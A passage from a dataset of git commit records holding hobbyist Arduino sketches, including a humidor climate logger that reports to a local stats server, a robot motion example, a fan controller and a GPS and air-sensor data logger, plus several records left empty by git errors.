2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/spoollord\/MyOurWeather.git\/'\n","license":"isc","lang":"Arduino"} {"commit":"fcf47a8d309812d1f70c1c16ffa50558d92d3f5c","subject":"Arduino code","message":"Arduino code\n","repos":"Juu\/humidor-control,Juu\/humidor-control","old_file":"arduino\/humidor-control\/humidor-control.ino","new_file":"arduino\/humidor-control\/humidor-control.ino","new_contents":"#include <SPI.h>\n#include <Ethernet.h>\n#include <EthernetUdp.h>\n#include <DHT.h>\n\n\n\/\/ Set to true for debug messages to Serial Monitor\n#define DEBUG false\n\n\/\/ ************** Humidity\/temperature sensor configuration\n\n\/\/ Time interval between each temperature\/humidity measurements (seconds)\n#define MEASUREMENT_INTERVAL 5*60\/\/1*60 \/\/ 1 minute\n\n\/\/ Temperature and humidity values adjustment, if your sensor values are below (adjust with a positive integer) or above (negative int) reality.\n\/\/ For no adjustment, set to 0\n#define TEMPERATURE_ADJUSTMENT 2\n#define HUMIDITY_ADJUSTMENT 12\n\n\/\/ Humidity sensor pin and type\n#define DHTPIN 2 \/\/ what digital pin we're connected to\n\/\/ Uncomment whatever type you're using!\n#define DHTTYPE DHT11 \/\/ DHT 11\n\/\/#define DHTTYPE DHT22 \/\/ DHT 22 (AM2302), AM2321\n\/\/#define DHTTYPE DHT21 \/\/ DHT 21 (AM2301)\n\n\n\/\/ ************** Ethernet configuration - global\n\n\/\/ Enter a MAC address for your controller below.\n\/\/ Newer Ethernet shields have a MAC address printed on a sticker on the shield\nbyte mac[] = {\n \/\/0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED\n 0x90, 0xA2, 0xDA, 0x0F, 0x13, 0x11\n};\n\n\/\/ Set the static IP address to use if the DHCP fails to assign\nIPAddress ip(192, 168, 1, 76);\n\n\n\/\/ ************** Ethernet configuration - time synchronization\n\n\/\/ Time interval between each time synchro from NTP server (seconds)\n#define TIME_SYNCHRO_INTERVAL 5*60 \/\/24*3600 \/\/ each 24 hours\n\nunsigned int localPort = 8888; \/\/ local port to listen for UDP packets\nconst char timeServer[] = \"time.nist.gov\"; \/\/ time.nist.gov NTP server\n\n\n\/\/ ************** Ethernet configuration - Web server\n\n\/\/ IP or DNS name of the stats server\nIPAddress server(192, 168, 1, 4);\n\/\/char server[] = \"myStatServer.net\";\n\n\/\/ Port of the stats server. Default is 1664\nint port = 1664;\n\n#define API_KEY \"2e4ca51efbeee9d63ae89480b2f81f8615c23979\"\n\n\n\/\/ ********** End of configuration **********\n\n\n#if DEBUG\n #define debug(s) Serial.print(s);\n #define debugln(s) Serial.println(s);\n#else\n #define debug(s) \n #define debugln(s) \n#endif\n\n\/\/ Initialize DHT object\nDHT dht(DHTPIN, DHTTYPE);\n\nconst int NTP_PACKET_SIZE = 48; \/\/ NTP time stamp is in the first 48 bytes of the message\nbyte packetBuffer[NTP_PACKET_SIZE]; \/\/buffer to hold incoming and outgoing packets\n\n\/\/ A UDP instance to let us send and receive packets over UDP\nEthernetUDP Udp;\n\n\/\/ Initialize the Ethernet client library\n\/\/ with the IP address and port of the server\n\/\/ that you want to connect to (port 80 is default for HTTP):\nEthernetClient client;\n\nunsigned long lastStartTime = 0;\nunsigned long lastSynchroTime = 0;\nunsigned long lastMeasurementTime = 0;\n\nstruct measurement {\n unsigned long time;\n int temperature;\n int humidity;\n};\n\n\nvoid setup() {\n \/\/ DHT sensor init\n dht.begin();\n\n #if DEBUG\n \/\/ Serial used for debug\n Serial.begin(9600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for native USB port only\n }\n #endif\n \n \/\/ start Ethernet and UDP\n if (Ethernet.begin(mac) == 0) {\n debugln(\"Failed to configure Ethernet using DHCP. Trying with static IP...\");\n \/\/ try to configure using IP address instead of DHCP:\n Ethernet.begin(mac, ip);\n }\n Udp.begin(localPort);\n\n debug(\"My IP address: \");\n debugln(Ethernet.localIP());\n\n delay(1000);\n}\n\nvoid loop() {\n\n unsigned long time = getTime();\n\n \/\/ Do a new temperature and humidity measurement for the first time or if interval since last one reached MEASUREMENT_INTERVAL value\n if (time - lastMeasurementTime >= MEASUREMENT_INTERVAL) {\n lastMeasurementTime = time;\n printTime(time);\n \n int h = dht.readHumidity() + HUMIDITY_ADJUSTMENT;\n int t = dht.readTemperature() + TEMPERATURE_ADJUSTMENT;\n debug(\"Humidity: \");\n debug(h);\n debug(\" %\\t\");\n debug(\"Temperature: \");\n debug(t);\n debug(\" *C \\n\");\n\n sendMeasurement({time, t, h});\n \n }\n \n delay(1000);\n}\n\n\/**\n * Returns current time. Get it from NTP server if needed.\n *\/\nunsigned long getTime() {\n unsigned long currStartTime = millis() \/ 1000;\n \n \/\/ Synchro time from NTP server :\n \/\/ - if function is called for the first time \n \/\/ - if interval since last synchro is greater reached TIME_SYNCHRO_INTERVAL value\n if (!lastSynchroTime || currStartTime - lastStartTime >= TIME_SYNCHRO_INTERVAL) {\n lastSynchroTime = getTimeFromNTP();\n lastStartTime = currStartTime;\n }\n\n unsigned long currentTime = currStartTime - lastStartTime + lastSynchroTime;\n \n return currentTime;\n}\n\n\/**\n * Returns current time from NTP server.\n *\/\nunsigned long getTimeFromNTP() {\n unsigned long epoch = 0;\n sendNTPpacket(timeServer); \/\/ send an NTP packet to a time server\n\n \/\/ wait to see if a reply is available\n delay(1000);\n if (Udp.parsePacket()) {\n \/\/ We've received a packet, read the data from it\n Udp.read(packetBuffer, NTP_PACKET_SIZE); \/\/ read the packet into the buffer\n\n \/\/ the timestamp starts at byte 40 of the received packet and is four bytes,\n \/\/ or two words, long. First, extract the two words:\n\n unsigned long highWord = word(packetBuffer[40], packetBuffer[41]);\n unsigned long lowWord = word(packetBuffer[42], packetBuffer[43]);\n \/\/ combine the four bytes (two words) into a long integer\n \/\/ this is NTP time (seconds since Jan 1 1900):\n unsigned long secsSince1900 = highWord << 16 | lowWord;\n \n \/\/ now convert NTP time into everyday time:\n \/\/ Unix time starts on Jan 1 1970. In seconds, that's 2208988800:\n const unsigned long seventyYears = 2208988800UL;\n \/\/ subtract seventy years:\n epoch = secsSince1900 - seventyYears;\n }\n \/\/ Ethernet.maintain();\n\n return epoch;\n}\n\n\/**\n * Debug function to print time in a human-readable way\n *\/\nvoid printTime(unsigned long epoch) {\n #if DEBUG\n \/\/ print the hour, minute and second:\n Serial.print(\"The UTC time is \"); \/\/ UTC is the time at Greenwich Meridian (GMT)\n Serial.print((epoch % 86400L) \/ 3600); \/\/ print the hour (86400 equals secs per day)\n Serial.print(':');\n if (((epoch % 3600) \/ 60) < 10) {\n \/\/ In the first 10 minutes of each hour, we'll want a leading '0'\n Serial.print('0');\n }\n Serial.print((epoch % 3600) \/ 60); \/\/ print the minute (3600 equals secs per minute)\n Serial.print(':');\n if ((epoch % 60) < 10) {\n \/\/ In the first 10 seconds of each minute, we'll want a leading '0'\n Serial.print('0');\n }\n Serial.println(epoch % 60); \/\/ print the second\n #endif\n}\n\n\n\/\/ send an NTP request to the time server at the given address\nvoid sendNTPpacket(const char * address) {\n \/\/ set all bytes in the buffer to 0\n memset(packetBuffer, 0, NTP_PACKET_SIZE);\n \/\/ Initialize values needed to form NTP request\n \/\/ (see URL above for details on the packets)\n packetBuffer[0] = 0b11100011; \/\/ LI, Version, Mode\n packetBuffer[1] = 0; \/\/ Stratum, or type of clock\n packetBuffer[2] = 6; \/\/ Polling Interval\n packetBuffer[3] = 0xEC; \/\/ Peer Clock Precision\n \/\/ 8 bytes of zero for Root Delay & Root Dispersion\n packetBuffer[12] = 49;\n packetBuffer[13] = 0x4E;\n packetBuffer[14] = 49;\n packetBuffer[15] = 52;\n\n \/\/ all NTP fields have been given values, now\n \/\/ you can send a packet requesting a timestamp:\n Udp.beginPacket(address, 123); \/\/ NTP requests are to port 123\n Udp.write(packetBuffer, NTP_PACKET_SIZE);\n Udp.endPacket();\n}\n\n\nvoid sendMeasurement(measurement m) {\n\n client.stop();\n\n \/\/ Connect to stats server\n if (client.connect(server, port)) {\n debugln(\"Connected to web server\");\n \/\/ Make a HTTP request:\n\n char req[256];\n sprintf(req, \"GET \/add?apiKey=%s&d=%lu&t=%d&h=%d HTTP\/1.1\", API_KEY, m.time, m.temperature, m.humidity);\n debugln(req);\n client.println(req);\n client.println(\"Host: myStatServer.net\");\n client.println(\"User-Agent: arduino-ethernet\");\n client.println(\"Connection: close\");\n client.println();\n } else {\n \/\/ if you didn't get a connection to the server:\n debugln(\"connection failed\");\n\n }\n\n displayServerResponse();\n \n}\n\n\/**\n * Debug function to display stats server response code\n *\/\nvoid displayServerResponse() {\n #if DEBUG\n \/\/ if there are incoming bytes available\n \/\/ from the server, read them and print them:\n debug(\"Server responded: \");\n \n char resp[100];\n \/\/debugln(sizeof(resp));\n int i = 0;\n while (i < (int)sizeof(resp) - 1 && resp[i-1] != '\\n' && client.available()) {\n resp[i++] = client.read();\n }\n resp[i] = '\\0';\n \n debugln(resp);\n\n #endif\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/humidor-control\/humidor-control.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4229458113773ce6fb8330ded7f8af02de3251eb","subject":"Create square-path.ino","message":"Create square-path.ino","repos":"gskielian\/Robox_Library,Robox-Education\/Pika","old_file":"examples\/square-path.ino","new_file":"examples\/square-path.ino","new_contents":"#include \"Robox.h\"\n#include <Servo.h>\n\n#include \"Wire.h\"\n#include \"I2Cdev.h\"\n#include \"HMC5883L.h\"\n\n\nHMC5883L mag;\n\nint16_t mx, my, mz;\n\n#define LED_PIN 13\nbool blinkState = false;\n\n\n\/\/Here we create a Robox called \"pika\", which has basic moves\n\n\/\/Syntax:\n\/\/Robox ur_bot_name(left_wheel_pin, right_wheel_pin);\n\nRobox pika(9,10);\n\n\nvoid setup()\n{\n Wire.begin();\n \n mag.initialize();\n\n \n pika.attach();\n Serial.begin(115200);\n}\n\nvoid loop()\n{\n\n mag.getHeading(&mx, &my, &mz);\n \n \/\/ To calculate heading in degrees. 0 degree indicates North\n float heading = atan2(my, mx);\n if(heading < 0)\n heading += 2 * M_PI;\n Serial.print(\"heading:\\t\");\n Serial.println(heading * 180\/M_PI);\n\n \/\/TODO create a Robox method which turns UNTIL an angle\n \n \/\/idea 1: perhaps we can just slow down until we reach that angle (a perfect one shot)\n \n \/\/idea 2: may need to calibrate for different speeds\n \n \/\/TODO create a Robox method which uses true north to calibrate wheels\n \/\/to go straight when doing a forwards or backwards method\n \n \/\/idea 1: a single speed\n \n \/\/idea 2: 3 speeds (crawl, walk, run);\n \n \n \/\/TODO overload the forward left and right methods to optionally accept\n \/\/an integer for the speed in that direction, this might complicate the calibration\n \/\/though as we will need to test forward and backward, but also for speed space.\n \/\/implementation idea: have it go forwards and backwards plenty of times.\n \/\/implementation idea: perhaps have it write to eeprom just a little in order\n \/\/to save the calibration settings\n \n \n \n Serial.println(\"pika.forward();\");\n pika.forward();\n delay(2000);\n\n Serial.println(\"pika.right();\");\n pika.right();\n delay(2000);\n\n Serial.println(\"pika.left();\");\n pika.left();\n delay(2000);\n\n Serial.println(\"pika.backward();\");\n pika.backward();\n delay(2000);\n\n Serial.println(\"pika.stop();\");\n pika.stop();\n delay(2000);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/square-path.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9a5413a40be9546bc1d9f28324a20e1961f643f1","subject":"init sketch code","message":"init sketch code\n","repos":"tyalt1\/exhaust_sensor_array","old_file":"exhaust_sensor_array.ino","new_file":"exhaust_sensor_array.ino","new_contents":"\/\/ Sensors\n#define CO sensor_array[0]\n#define O3 sensor_array[1]\n#define CO2 sensor_array[2]\n#define NO sensor_array[3]\n#define TEMP sensor_array[4]\n#define WIND sensor_array[5]\n\n\/\/ GPS\n#include <SoftwareSerial.h>\n#include \"TinyGPS.h\"\n#define GPS_RX 9 \/\/ Arduino RX pin connected to GPS TX\n#define GPS_TX 8 \/\/ Arduino TX pin connected to GPS RX\n#define GPS_BAUD_RATE 9600 \/\/ The GPS Shield module defaults to 9600 baud\nSoftwareSerial gps_port(GPS_TX, GPS_RX);\nTinyGPSPlus gps;\n\n\/\/ SD card\n#include <SD.h>\n#include <SPI.h>\n#define SD_pin 10\n\n\/\/ code!\nint sensor_array[6];\nFile log_file;\n\nvoid read_sensors() {\n\n for(unsigned int i=0; i < 6; ++i) array[i] = analogRead(i);\n}\n\nvoid print() {\n\n\n}\n\nvoid setup() {\n\n gps.begin(GPS_BAUD_RATE); \/\/GPS Setup\n SD.begin(SD_PIN) \/\/SD card start\n}\n\nvoid loop() {\n delay(5000);\n\n log_file = SD.open(\"log.csv\", FILE_WRITE);\n\n \/\/read from sensors\n read_sensors();\n\n \/\/ update GPS\n while(gps_port.available()) gps.encode(gps_port.read());\n\n \/\/ TODO read from GPS\n \/\/ gps.date.month()\n \/\/ gps.date.day()\n \/\/ gps.date.year()\n \/\/ gps.time.hour()\n \/\/ gps.time.minute()\n \/\/ gps.time.second()\n \/\/ gps.location.lat() in base6\n \/\/ gps.location.lng() in base6\n \/\/ gps.altitude.feet()\n \/\/ gps.course.degree()\n \/\/ gps.speed.mph()\n \/\/ gps.satellites.value()\n\n \/\/ TODO write to uSD card\n print();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'exhaust_sensor_array.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"872568719231fe6f2017b92e8154bcea0b15de2f","subject":"adding heat activated cooling fan sketch","message":"adding heat activated cooling fan sketch\n","repos":"udarakr\/sketches,udarakr\/sketches,udarakr\/sketches","old_file":"sketch_fan\/sketch_fan.ino","new_file":"sketch_fan\/sketch_fan.ino","new_contents":"const int sensorPin = A0;\n\nconst int highTemp = 2;\nconst int lowTemp = 3;\nconst int optocouplerPin = 8;\n\nvoid setup()\n{\n pinMode(optocouplerPin, OUTPUT);\n pinMode(highTemp, OUTPUT);\n pinMode(lowTemp, OUTPUT);\n Serial.begin(9600);\n}\n\nvoid loop()\n{\n \/\/Read the sensor value\n int sensorVal = analogRead(sensorPin);\n \/\/Convert reading to voltage\n float voltage = (sensorVal\/1024.0) * 5.0;\n \/\/convert millivolts into temperature\n float temperature = (voltage - .5) * 100;\n \n Serial.println(temperature);\n \n if(temperature > 33){\n digitalWrite(lowTemp, LOW);\n digitalWrite(highTemp, HIGH);\n digitalWrite(optocouplerPin, HIGH);\n }else{\n digitalWrite(lowTemp, HIGH);\n digitalWrite(highTemp, LOW);\n digitalWrite(optocouplerPin, LOW);\n }\n \n delay(1000);\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketch_fan\/sketch_fan.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"999c54c29f3b374de298ac1a4a292fa448f5989d","subject":"Replace angle measurements","message":"Replace angle measurements\n\nNow uses MPU-9150 for getting the angle readings. These readings are sent over the serial connection (115200 baud rate) every 10ms. The program starts with a 10s idle time interval, for the angle measurements to stabilize.","repos":"tms1337\/inverted-pendulum","old_file":"BakiMPU.ino","new_file":"BakiMPU.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tms1337\/inverted-pendulum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"6096da18dea411fec6e6b5baf0a046ba603fdae5","subject":"All sensors, GPS and SD card running on frontbox only. GPS uses harware serial because SoftwareSerial corrupts memory operations \tto either SD or memory chip.","message":"All sensors, GPS and SD card running on frontbox only.\nGPS uses harware serial because SoftwareSerial corrupts memory operations\n\tto either SD or memory chip.\n","repos":"alaviali\/OBI,alaviali\/OBI","old_file":"frontbox_solo\/frontbox_solo.ino","new_file":"frontbox_solo\/frontbox_solo.ino","new_contents":"\/\/ OBI Captsone 2015\n\/\/ Jan. 2015 - June 2015\n\/\/ Team members: \n\n\n\/\/ Sensor PINOUTS\n\/\/ PINS\t\tARDUINO\t\tATMEGA\n\/\/ GROVE\t\tD3\t\t\t5\n\/\/ SHARP\t\tAI3\t\t\t26\n\/\/ SHARP_LED\tD4\t\t\t6\n\/\/ MQ7\t\t\tAI0\t\t\t23\n\/\/ MQ7_VOLTAGE\tD2\t\t\t4\n\/\/ TEMP\t\tAI1\t\t\t24\n\/\/ PULSE\t\tAI2\t\t\t25\n\n\/\/ Memory PINOUTS\n\/\/ 1-4 GND\n\/\/ 2 MISO ATMEGA PIN 18\n\/\/ Arduino Digital PIN 12\n\/\/ 3 NC\n\/\/ 5 MOSI ATMEGA PIN 17\n\/\/ Arduino Digital PIN 11\n\/\/ 6 SCK ATMEGA PIN 19\n\/\/ Arduino Digital PIN 13\n\/\/ 7 V_BAT CR2032 \n\/\/ 8 5V Power\n\/\/ Wire Routing\n\/\/ Arduino-- 23LC1024\n\/\/ D13 <------> SCK\n\/\/ D12 <------> MISO\n\/\/ D11 <------> MOSI\n\/\/ D10 <------> CS\n\/\/ 5V <------> VCC\n\/\/ 5V <------> HOLD\n\/\/ 5V <-10KR-> CS \/\/ pullup resistor not needed\n\/\/ GND <------> VSS\n\n\/\/#define DEBUG \n\n#include <SPI.h>\n#include <SD.h>\n#include <Wire.h>\n#include <DHT.h>\n#include <RTClib.h>\n#include <TinyGPS.h>\n\n\n\/\/ **************** FOR GPS ******************\nTinyGPS gps;\n\/\/SoftwareSerial gps_serial(9, 8);\nfloat flat=0, flon=0;\nunsigned long age;\nint gps_year;\nbyte gps_month, gps_day, gps_hour, gps_minute, gps_second;\nbool haveClock=false;\n\n\/\/ **************** FOR SD CARD ******************\n#define CHIP_SELECT_PIN 10\nFile myFile;\n\n\/\/ **************** FOR GROVE SENSOR ****************\n#define GROVE_READ_PIN 3 \/\/ Digital PIN 3 ATMEGA 5\nunsigned long grove_duration;\nunsigned long grove_sample_time = 1000; \/\/sample 1s ; FIXME- used in calulation\nunsigned long lowpulseoccupancy = 0;\nfloat ratio = 0;\nfloat concentration = 0;\n\n\/\/ **************** FOR SHARP SENSOR ****************\n#define SHARP_READ_PIN 3 \/\/ Analog PIN 3 ATMEGA 26\nint sharp_dust_val = 0;\n\n#define SHARP_LED_PIN 4 \/\/ Digital PIN 4 ATMEGA 6\n#define SHARP_DELAY_TIME 280 \n\n\/\/ **************** FOR MQ7 SENSOR ****************\n#define CO_PWR_SEL_PIN 2 \/\/ Digital PIN 2 ATMEGA PIN 4\n#define CO_READ_PIN 0 \/\/ Analong PIN 0 ATMEGA PIN 23\n#define CO_HEAT_TIME 60000 \/\/ 60 seconds heat time\n#define CO_READ_TIME 90000 \/\/ 90 seconds reat time\n\nunsigned long CO_timer_start;\nunsigned long CO_switch_time;\nboolean heaterInHighPhase;\nunsigned int gasLevel;\n\n\/\/ **************** FOR TEMP & HUMIDITY SENSOR ****************\n\n#define DHT_PIN A1 \/\/ Analong PIN 1 ATMEGA 24\n#define DHTTYPE DHT22 \/\/ DHT 22 (AM2302)\nDHT dht(DHT_PIN, DHTTYPE); \/\/ create DHT object\n\n\n\/\/ **************** RTC ****************\nRTC_DS1307 rtc;\nbool haveRTC=false; \/\/ if we have time info from gps\n\n\n\/\/ **************** timer for sensor data collection ****************\nunsigned long sensors_read_time_start;\nunsigned long num_records = 0;\n#define SENSORS_READ_TIME 2000 \/\/ ms \n\n\nvoid setup()\n{\n Serial.begin(9600); \/\/ now using for GPS\n \/\/gps_serial.begin(9600);\n\n \/\/ **************** FOR RTC ****************\n Wire.begin(); \/\/ Join I2C bus as a master\n rtc.begin(); \/\/ Initialize clock\n\n \/\/ **************** FOR SHARP SENSOR ****************\n pinMode(SHARP_LED_PIN, OUTPUT);\n\n \/\/ **************** FOR GROVE SENSOR ****************\n pinMode(8, INPUT);\n pinMode(13, OUTPUT);\n\n \/\/ **************** FOR MQ7 SENSOR ****************\n pinMode(CO_PWR_SEL_PIN, OUTPUT);\n CO_timer_start = millis();\n digitalWrite(CO_PWR_SEL_PIN, LOW);\/\/ 5v phase\n heaterInHighPhase = true;\n CO_switch_time = millis() + CO_HEAT_TIME;\n\n \/\/ **************** FOR TEMP & HUMIDITY SENSOR ****************\n dht.begin();\n \n \/\/ **************** FOR MEMORY ****************\n \/\/must be left as an output or the SD library functions will not work. \n pinMode(SS, OUTPUT);\n if ( !SD.begin(CHIP_SELECT_PIN) ) \n#ifdef DEGUB\n Serial.println(\"SD card initialization failed!\");\n#endif\n delay(100);\n \/\/ write header\n myFile = SD.open(\"obidata.txt\", FILE_WRITE);\n\n\n if (myFile) {\n#ifdef DEBUG\n Serial.println(\"Writing header to SD\");\n#endif\n myFile.print(\"lat,lon DD\/MM\/YYYY HH:MM:SS\");\n myFile.println(\"\\tSharp value\\tGrove value\\tCO value\\tHumidity\\tTemp\");\n myFile.close();\n } else {\n#ifdef DEBUG\n Serial.println(\"Error opening SD file to write header\");\n#endif\n }\n\n \/\/ **************** FOR SENOR READING TIMER ****************\n sensors_read_time_start = millis();\n\n} \/\/ setup\n\n\nvoid loop()\n{\n \/\/ for gps\n bool newData = false;\n unsigned long chars;\n unsigned short sentences, failed;\n \n \/\/gps_serial.listen(); \/\/ select the GPS softserial port for listening\n \n \/\/ For one second we parse GPS data and report some key values\n for (unsigned long start = millis(); millis() - start < 1000;) {\n while (Serial.available()) {\n char c = Serial.read();\n \/\/Serial.write(c); \/\/ uncomment this line if you want to see the GPS data flowing\n if (gps.encode(c)) \/\/ Did a new valid sentence come in?\n newData = true;\n }\n }\n\n if (newData) {\n gps.f_get_position(&flat, &flon, &age);\n \n if(!haveClock) { \/\/ set clock\n gps.crack_datetime(&gps_year, &gps_month, &gps_day, &gps_hour, &gps_minute, &gps_second);\n gps_hour -= 7; \/\/ adjust UTC FIXME!\n if (gps_hour < 0) {\n gps_day -=1;\n gps_hour +=24;\n }\n \/\/ rtc wants the year to be since 1900?\n rtc.adjust( DateTime(gps_year-2000, gps_month, gps_day, gps_hour, gps_minute, gps_second));\n haveClock=true;\n }\n } \n \n #ifdef DEBUG\n gps.stats(&chars, &sentences, &failed);\n Serial.print(\" CHARS=\");\n Serial.print(chars);\n Serial.print(\" SENTENCES=\");\n Serial.print(sentences);\n Serial.print(\" CSUM ERR=\");\n Serial.println(failed);\n if (chars == 0)\n Serial.println(\"** No characters received from GPS: check wiring **\");\n#endif\n \n \n \/\/ **************** CHECK FOR SERIAL DATA ****************\n \/\/ while( Serial.available() ) \/\/ dubious\n \/\/ ProcessSerialData();\n\n \/\/ **************** FOR SHARP SENSOR ****************\n \/\/ nothing\n\n \/\/ **************** FOR GROVE SENSOR ****************\n \/\/ continuous reading\n grove_duration = pulseIn(GROVE_READ_PIN, LOW);\n lowpulseoccupancy = lowpulseoccupancy + grove_duration;\n\n \/\/ **************** FOR MQ7 SENSOR ****************\n \/\/ nothing\n\n \/\/ **************** FOR TEMP & HUMIDITY SENSOR ****************\n \/\/ Be sure to wait 2 seconds between measurements.\n\n\n \/\/ **************** READ SENSORS ****************\n if( (millis() - sensors_read_time_start) > SENSORS_READ_TIME ) {\n#ifdef DEBUG\n Serial.print(\"Time since last reading: \");\n Serial.println(millis() - sensors_read_time_start);\n#endif\n ReadSensors();\n sensors_read_time_start = millis();\n }\n\n} \/\/ void loop()\n\n\nvoid ReadSensors()\n{\n\n#ifdef DEBUG\n unsigned long read_start = millis(); \/\/ how long does this function take to run?\n#endif\n\n \/\/ **************** SENSOR READING STAMP TIME ****************\n DateTime now = rtc.now();\n\n \/\/ **************** FOR SHARP SENSOR ****************\n digitalWrite(SHARP_LED_PIN, LOW); \/\/ power on the LED\n delay(SHARP_DELAY_TIME); \/\/ wait 280ms\n sharp_dust_val = analogRead(SHARP_READ_PIN); \/\/ read the dust value via pin 5 on the sensor\n digitalWrite(SHARP_LED_PIN, HIGH); \/\/ turn the LED off\n\n\n \/\/ **************** FOR GROVE SENSOR ****************\n ratio = lowpulseoccupancy \/ (grove_sample_time*10.0); \/\/ Integer percentage 0=>100\n concentration = 1.1*pow(ratio, 3) - 3.8*pow(ratio, 2) + 520 * ratio + 0.62;\n \/\/ using spec sheet curve\n lowpulseoccupancy = 0; \/\/ reset\n\n\n \/\/ **************** FOR MQ7 SENSOR ****************\n if (heaterInHighPhase) { \n if (millis() > CO_switch_time) { \/\/ switch to 1.4V phase?\n digitalWrite(CO_PWR_SEL_PIN, HIGH); \/\/ 1.4v phase\n heaterInHighPhase = false;\n CO_switch_time = millis() + CO_READ_TIME;\n }\n } else if (millis() > CO_switch_time) { \/\/ switch to 5V phase?\n digitalWrite(CO_PWR_SEL_PIN, LOW);\/\/ 5v phase\n heaterInHighPhase = true;\n CO_switch_time = millis() + CO_HEAT_TIME;\n }\n \/\/ readGasLevel\n gasLevel = analogRead(CO_READ_PIN);\n if (heaterInHighPhase)\n gasLevel = 0xFFFF;\n\n \n \/\/ **************** FOR TEMP & HUMIDITY SENSOR ****************\n \/\/ Reading can take 200 milliseconds, can only be done every 2 seconds\n float h = dht.readHumidity();\n float f = dht.readTemperature(true);\n if (isnan(h) || isnan(f)) { \/\/ Check if any reads failed and set to error value.\n h=255; f=255;\n }\n\n#ifdef DEBUG\n Serial.print(\"Time to read sensors(ms): \");\n Serial.println(millis() - read_start);\n#endif\n\n \/\/ **************** log data to serial output ****************\n \n#ifdef DEBUG\n Serial.print(flat, 6); Serial.print(',');\n Serial.print(flon, 6); Serial.print(' ');\n Serial.print(now.month(), DEC); Serial.print('\/');\n Serial.print(now.day(), DEC); Serial.print('\/');\n Serial.print(now.year(), DEC); Serial.print(' ');\n Serial.print(now.hour(), DEC); Serial.print(':');\n Serial.print(now.minute(), DEC); Serial.print(':');\n Serial.print(now.second(), DEC);\n Serial.print(\" Sharp value: \"); Serial.print(sharp_dust_val);\n Serial.print(\" Grove Concentration: \"); Serial.print(concentration);\n Serial.print(\" CO: \"); Serial.print(gasLevel);\n Serial.print(\" Humidity: \"); Serial.print(h);\n Serial.print(\" Temp: \"); Serial.println(f);\n Serial.flush();\n#endif\n\n \n \/\/ **************** WRITE TO SD CARD ****************\n#ifdef DEBUG\n Serial.println(\"Logging a record to SD\"); \n#endif\n myFile = SD.open(\"obidata.txt\", FILE_WRITE);\n#ifdef DEBUG \n if (myFile) {\n Serial.println(\"File open\");\n } else {\n Serial.println(\"Error opening SD file. Record not logged.\");\n return;\n }\n#endif\n\n \/\/ gps\n myFile.print(flat,6); myFile.print(',');\n myFile.print(flon,6); myFile.print(' ');\n \n \/\/ date and time\n myFile.print(now.month()); myFile.print('\/');\n myFile.print(now.day()); myFile.print('\/');\n myFile.print(now.year()); myFile.print(' ');\n myFile.print(now.hour()); myFile.print(':'); \n myFile.print(now.minute()); myFile.print(':');\n myFile.print(now.second()); myFile.print('\\t');\n \n \/\/ sharp sensor value\n myFile.print(sharp_dust_val);\n myFile.print('\\t');\n\n \/\/ grove sensor value\n myFile.print(concentration);\n myFile.print('\\t');\n\n \/\/ MQ7 CO sensor value\n myFile.print(gasLevel);\n myFile.print('\\t');\n \n \/\/ DHT22 sensor value\n myFile.print(h); myFile.print('\\t');\n myFile.print(f); myFile.println();\n myFile.close();\n\n \/\/ Update how many records we have\n num_records++;\n\n#ifdef DEBUG\n Serial.print(\" Num records: \"); Serial.println(num_records);\n#endif\n\n} \/\/ReadSensors \/\/ ISR\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'frontbox_solo\/frontbox_solo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"912bd3c877240cf9537bd3cc254780450a329080","subject":"Initial commit, establish start :-)","message":"Initial commit, establish start :-)\n","repos":"HermanKopinga\/kast","old_file":"kast.ino","new_file":"kast.ino","new_contents":"\/\/ LED controller for the light in a bookcase.\n\/\/ Herman Kopinga herman@kopinga.nl for 212 Fahrenheit 212f.nl\n\nvoid setup() {\n\n}\n\nvoid loop() {\n\n}\n\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"d536843f6e5b4e54bd6cf87d3963d2ee628318b6","subject":"hmm optional motor decoding works a tad different \u2026","message":"hmm optional motor decoding works a tad different \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Commands.ino","new_file":"ArduinoClient\/Commands.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"436a03744a063dc614da0e7ea36d61c539a1ed18","subject":"a motion is not b\/w anymore \u2026","message":"a motion is not b\/w anymore \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Commands.ino","new_file":"ArduinoClient\/Commands.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of 